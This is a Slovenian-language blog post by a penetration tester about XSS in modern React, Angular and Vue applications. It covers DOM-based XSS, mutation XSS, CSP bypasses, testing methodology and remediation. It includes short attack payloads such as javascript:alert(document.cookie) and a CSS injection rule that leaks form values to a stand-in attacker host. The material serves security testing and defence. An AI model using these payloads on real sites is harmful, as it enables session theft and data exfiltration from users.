Nazaj na blog

XSS v sodobnih aplikacijah: Onkraj osnovnih vsebin

October 04, 2024 9 min branja
XSS v sodobnih aplikacijah: Onkraj osnovnih vsebin
Nazadnje posodobljeno:

Vrivanje skript v spletne strani (XSS) (XSS) ostaja ena najpogostejših spletnih ranljivosti, vendar se je okolje dramatično spremenilo. Sodobna ogrodja JavaScript, kot so React, Angular in Vue, zagotavljajo vgrajeno zaščito pred osnovnim XSS s privzetim izhodnim kodiranjem. To je nekatere razvijalce pripeljalo do prepričanja, da je XSS rešena težava. V resnici so ta ogrodja napadalno površino prestavila, ne pa odpravila. Kot penetracijski tester redno najdem XSS v sodobnih aplikacijah -- zahteva le globlje razumevanje delovanja ogrodij, manipulacije DOM in vedenja brskalniških razčlenjevalnih mehanizmov.

Ta vodic pokriva razvoj tehnik XSS, vektorje napadov specifične za ogrodja, napredne metode obvoda in celovito metodologijo testiranja za sodobne spletne aplikacije.

Kodiranje izhoda glede na kontekst in varno čiščenje HTML obravnava OWASP Cross Site Scripting Prevention Cheat Sheet.

Razvoj XSS

Tradicionalni XSS je izkoriščal preprosto odsevanje uporabniškega vnosa v HTML brez kodiranja. Klasična vsebina <script>alert(1)</script>, vbrizgana v iskalni parameter, bi se izvedla v starejših strežniško upodobljenih aplikacijah. Sodobna ogrodja so to spremenila z uvedbo samodejnega izhodnega kodiranja, plasti virtualnega DOM-a in kompilacije predlog, ki ločuje kodo od podatkov. Vendar so ta ogrodja uvedla tudi nove koncepte -- usmerjanje na strani odjemalca, upravljanje stanja komponent, izraze predlog in dinamične direktive upodabljanja -- vsak od katerih ustvarja nove možnosti za vbrizgavanje ob napačni uporabi.

Vektorji specifični za ogrodja v podrobnostih

  • React: dangerouslySetInnerHTML - React privzeto kodira vse vrednosti, upodobljene v JSX. Vendar lastnost dangerouslySetInnerHTML izrecno obvozi to zaščito za upodabljanje surovega HTML. Ko uporabniško nadzorovani podatki tečejo v to lastnost brez sanacije, je XSS neposreden. Ta vzorec iščem v vsaki kodni bazi React, ki jo ocenjujem.
  • React: protokol href javascript: - React v vseh verzijah ne blokira URI-jev javascript: v atributih href sidrnih oznak. Vrednost kot javascript:alert(document.cookie), dodeljena href, se izvede ob kliku. To je posebej nevarno, ko so uporabniški URL-ji profilov ali parametri preusmeritve upodobljeni kot povezave.
  • React: Strežniško upodabljanje (SSR) - Ko aplikacije React uporabljajo SSR (Next.js, Remix), je uporabniški vnos lahko vgrajen v začetno vsebino HTML, preden React hidratira stran. Če strežnik serializira uporabniške podatke v HTML brez ustreznega kodiranja, postane tradicionalni odsevani XSS možen v HTML pred hidratacijo.
  • Angular: Vbrizgavanje predlog - Angular prevaja predloge, ki vsebujejo izraze v dvojnih zavitih oklepajih {{ }}. Če je uporabniški vnos interpoliran v niz predloge, ki jo Angular nato prevede, lahko izvede poljuben JavaScript prek izrazov Angular. To je posebej nevarno pri uporabi $compile v AngularJS ali dinamičnem ustvarjanju komponent v Angular.
  • Angular: bypassSecurityTrust* - DomSanitizer v Angular zagotavlja metode kot bypassSecurityTrustHtml(), bypassSecurityTrustScript() in bypassSecurityTrustUrl(). Razvijalci jih uporabljajo za upodabljanje zaupane vsebine, ko pa uporabniški vnos teče v te metode, izrecno onemogočijo zaščite Angular pred XSS.
  • Angular: ng-bind-html - V AngularJS (1.x) direktiva ng-bind-html z $sce.trustAsHtml() upodablja surov HTML. Starejše aplikacije AngularJS ostajajo pogoste v poslovnih okoljih in so pogosto ranljive.
  • Vue: direktiva v-html - Vuejeva direktiva v-html upodablja surov HTML, podobno kot Reactov dangerouslySetInnerHTML. Vsi uporabniško nadzorovani podatki, vezani prek v-html, obvozijo kodiranje predlog Vue.
  • Vue: Prevajanje predlog v brskalniku - Ko Vue prevaja predloge ob izvajanju v brskalniku (namesto predprevajanja med gradnjo), lahko uporabniški vnos, ki doseže nize predlog, vbrizga izraze predlog Vue, ki izvajajo JavaScript.

XSS na osnovi DOM v globino

XSS na osnovi DOM se zgodi v celoti znotraj brskalnika, kjer JavaScript bere podatke iz vira, ki ga nadzoruje napadalec, in jih posreduje nevarnemu ponoru brez ustrezne sanacije. Sodobne enostranske spletne aplikacije so posebej dovzetne, ker upravljajo obsežno logiko na strani odjemalca.

  • Manipulacija usmerjanja na strani odjemalca - SPA-ji berejo fragmente URL-jev, parametre poizvedb in segmente poti za določanje pogleda za upodobitev. Če so parametri poti odsevani v DOM brez kodiranja (na primer upodabljanje drobtinic iz poti URL-ja), je XSS možen prek oblikovanih URL-jev.
  • Ranljivosti PostMessage - API window.postMessage() omogoča medizvorsko komunikacijo med okni. Če prejemnik ne potrdi izvora sporočila in prejete podatke posreduje v nevarne ponore, kot sta innerHTML ali eval(), lahko katera koli stran pošlje zlonamerno sporočilo za sprožitev XSS.
  • Vbrizgavanje localStorage/sessionStorage - Podatki, shranjeni v brskalniškem pomnilniku, vztrajajo med nalaganjem strani. Če napadalec lahko vbrizga podatke v pomnilnik (prek ločene ranljivosti ali deljene poddomene) in aplikacija pozneje prebere ter upodobi te podatke brez kodiranja, nastane obstojni XSS na osnovi DOM.
  • DOM clobbering - Poimenovani elementi HTML ustvarijo lastnosti na objektih document in window. Z vbrizgavanjem elementov HTML s specifičnimi atributi id ali name lahko napadalec preglasi spremenljivke JavaScript ali povratne vrednosti DOM API, ki jim aplikacija zaupa. Na primer, vbrizgavanje <img id="currentScript"> lahko preglasi document.currentScript in vpliva na logiko nalaganja skript.

Napredne tehnike obvoda

  • Mutacijski XSS (mXSS) - Brskalniki razčlenijo in ponovno serializirajo HTML na načine, ki lahko preoblikujejo nedolžno označevanje v izvršljivo kodo. Ko aplikacija sanira HTML in ga nato vstavi v DOM, lahko brskalnikov razčlenjevalnik mutira sanirani izhod. Na primer, določene kombinacije vgnezdenih oznak in atributov lahko povzročijo, da razčlenjevalnik izstopi iz konteksta atributa in ustvari nove izvršljive elemente. Knjižnica DOMPurify specifično naslavlja mXSS, vendar jo je treba redno posodabljati.
  • Verige onesnaženosti prototipov do XSS - Onesnaženost prototipov napadalcu omogoča vbrizgavanje lastnosti v prototipe objektov JavaScript. V kombinaciji s kodo, ki preverja object.innerHTML ali object.src na objektih, ki dedujejo iz onesnaženega prototipa, se to lahko poveže v XSS. Knjižnice kot Lodash merge in jQuery extend so bile vektorji za onesnaženost prototipov.
  • Vbrizgavanje CSS za ekstrakcijo podatkov - Čeprav ni XSS v tradicionalnem smislu, lahko vbrizgavanje CSS ekstrahira občutljive podatke z uporabo izbirnikov atributov in zahtev slik v ozadju. Na primer, input[value^="a"] { background: url(https://napadalec.com/?v=a) } lahko po posameznih znakih razkrije vrednosti polj obrazcev. V aplikacijah, kjer je vbrizgavanje HTML mogoče, vendar CSP blokira izvajanje skript, ekstrakcija na osnovi CSS postane primarni vektor napada.
  • XSS na osnovi SVG - Datoteke SVG lahko vsebujejo JavaScript prek oznak <script>, obravnavalnikov dogodkov (onload, onclick) in elementov <foreignObject>. Ko aplikacija dovoljuje nalaganje SVG ali upodablja uporabniško zagotovljeno vsebino SVG v vrstici, je izvedba XSS mogoča. To obvozi mnoga preverjanja tipov datotek, ki blokirajo le datoteke HTML.

Politika varnosti vsebine: Obvodi in ocena

Politika varnosti vsebine (CSP) je najmočnejša obramba na strani brskalnika pred XSS, vendar so napačno konfigurirane politike pogoste in jih je mogoče obvoziti.

  • Končne točke JSONP - Če CSP dovoljuje domeno, ki gosti končne točke JSONP (npr. Google API-ji, ponudniki CDN), lahko napadalec naloži skripto iz te končne točke s parametrom povratnega klica, ki vsebuje kodo JavaScript. Dovoljena domena strežnika posreže napadalcevo kodo, ovito v JSONP povratni klic.
  • Skripte gostujoče na CDN - Politike CSP, ki dovoljujejo celotne domene CDN (npr. cdnjs.cloudflare.com), dovoljujejo nalaganje katere koli knjižnice, gostujoče na tem CDN-ju, vključno s starejšimi verzijami Angular, ki omogočajo vbrizgavanje predlog za izvajanje poljubne kode.
  • Manjkajoča direktiva base-uri - Brez omejitve base-uri lahko napadalec vbrizga oznako <base>, ki spremeni osnovni URL za vse relativne uvoze skript in jih preusmeri na strežnik pod nadzorom napadalca.
  • Ponovna uporaba nonce in hash - Če so nonce-ji CSP statični ali predvidljivi, ali če nonce uhaja prek predpomnilnika ali druge ranljivosti, jih napadalec lahko vključi v svojo vbrizgano oznako skripte. Podobno, če politika uporablja haše za vgrajene skripte, iskanje načina za vbrizganje točne dovoljene vsebine skripte omogoča obvod.
  • Orodja za oceno CSP - Googlov CSP Evaluator (csp-evaluator.withgoogle.com) analizira politiko in prepozna šibkosti. To orodje uporabljam pri vsakem ocenjevanju za hitro prepoznavanje možnosti obvoda v uveljavljenih glavah CSP.

Vpliv onkraj pojavnih oken

Pri prikazovanju XSS strankam prikaz alert(1) podcenjuje tveganje. Učinkovit prikaz vpliva vključuje:

  • Ugrabitev seje - Pridobivanje sejnih piškotkov (če niso httpOnly) ali žetonov za overitev iz localStorage in njihovo pošiljanje na strežnik pod nadzorom napadalca.
  • Beleženje tipkanja - Vbrizgavanje beležilnika tipkanja, ki zajame vse pritiske tipk na strani, vključno s poverilnicami, vnesenimi v prijavne obrazce.
  • Rudarjenje kriptovalut - Nalaganje rudarja kriptovalut v brskalnik žrtve, kar prikazuje nepooblaščeno uporabo računalniških virov.
  • Prekrivanje strani z lažnim prijavnim obrazcem - Upodabljanje lažnega prijavnega obrazca čez legitimno stran, ki zajame poverilnice in jih pošlje napadalcu, preden posreduje na pravo prijavo.
  • Obstojnost storitvenega opravila (service worker) - Registracija zlonamernega storitvenega opravila (service worker), ki prestreza vse prihodnje zahteve na izvor, kar zagotavlja obstojni dostop tudi po odstranitvi vsebine XSS. To je eden najhujših možnih vplivov XSS.

Metodologija testiranja

  1. Popis vhodnih točk - Prepoznajte vsako točko, kjer uporabniško nadzorovani podatki vstopajo v aplikacijo: parametri URL, vnosi obrazcev, glave, piškotki, poslusniki PostMessage, branja iz pomnilnika in odgovori API, upodobljeni v DOM.
  2. Sledenje podatkovnih tokov - Sledite vsakemu vnosu od njegovega vira do mesta upodobitve ali uporabe. Uporabite zavihek Sources v orodjih za razvijalce brskalnika za nastavitev prelomnih točk in sledenje potem izvajanja JavaScript.
  3. Avtomatizirano skeniranje - Zaženite avtomatizirana orodja kot prvi prehod, vendar razumite njihove omejitve. Avtomatizirani skenerji so učinkoviti pri iskanju odsevanega XSS, vendar pogosto zgrešijo XSS na osnovi DOM, shranjeni XSS in vektorje specifične za ogrodja.
  4. Ročno testiranje - Za vsak prepoznani ponor oblikujte vsebine, primerne za kontekst (HTML, atribut, JavaScript, URL). Testirajte obvode specifične za ogrodje glede na tehnološki sklad v uporabi.
  5. Analiza CSP - Preglejte glave Content-Security-Policy z uporabo CSP Evaluator. Prepoznajte dovoljene vire, ki bi jih bilo mogoče zlorabiti, in testirajte, ali je mogoče obvoziti nonce-je ali haše.
  6. Orodja za razvijalce brskalnika - Uporabite konzolo za testiranje vsebin, panel Elementi za pregled mutacij DOM, zavihek Omrežje za opazovanje kršitev CSP in zavihek Aplikacija za pregled pomnilnika in storitvenih opravil (service workers).

Orodja

  • XSStrike - Napredni paket za zaznavo XSS, ki uporablja mehko ujemanje, analizo konteksta in generiranje vsebin za iskanje odsevanega in DOM-osnovanega XSS.
  • Dalfox - Hitro orodje za analizo parametrov in skeniranje XSS s podporo za slepi XSS, shranjeni XSS in zaznavo na osnovi DOM.
  • DOM Invader (Burp Suite) - Razširitev brskalnika znotraj vgrajenega Chromium Burp, ki cilja ranljivosti na osnovi DOM s sledenjem virov in ponorov v realnem času.
  • CSP Evaluator - Googlovo orodje za analizo glav politike varnosti vsebine in prepoznavanje možnosti obvoda.

Odprava

Obramba pred sodobnim XSS zahteva večplastne kontrole:

  • Izhodno kodiranje - Uporabite kontekstno ustrezno kodiranje za kontekste HTML, JavaScript, URL in CSS. Privzeto uporabljajte kodiranje, ki ga zagotavlja ogrodje, in se izogibajte direktivam za upodabljanje surovega HTML.
  • Politika varnosti vsebine - Uvedite strogo CSP z dovoljenjem skript na osnovi nonce-jev. Izogibajte se unsafe-inline, unsafe-eval in preveč širokim dovoljenjem domen. Uporabite poročanje CSP za prepoznavanje kršitev.
  • API zaupanih tipov (Trusted Types) - Uveljavljajte zaupane tipe za preprečevanje XSS na osnovi DOM z zahtevo, da nevarni ponori (innerHTML, eval, script.src) sprejemajo le tipizirane objekte, ustvarjene prek potrjenih politik sanacije.
  • Knjižnice za sanacijo - Ko je upodabljanje surovega HTML nujno, uporabite DOMPurify s strogo konfiguracijo. Redno ga posodabljajte za obravnavo na novo odkritih vektorjev mXSS. Nikoli ne gradite lastne sanacije z vzorci regex.

Sorodno branje: Ranljivosti OAuth: Ko overitev gre narobe in Testiranje varnosti API: Praktični vodic.

Vid Grosek

Vid Grosek

Etični heker & Penetracijski tester

Pomagam slovenskim podjetjem odkriti varnostne ranljivosti, preden jih odkrijejo napadalci. Z več kot 18 leti izkušenj v kibernetski varnosti.

Vse objave

Komentarji

Ni še komentarjev. Bodite prvi!

Dodaj komentar

Vam je bil članek všeč?

Prijavite se na newsletter za mesečne varnostne vpoglede.

Prijavite se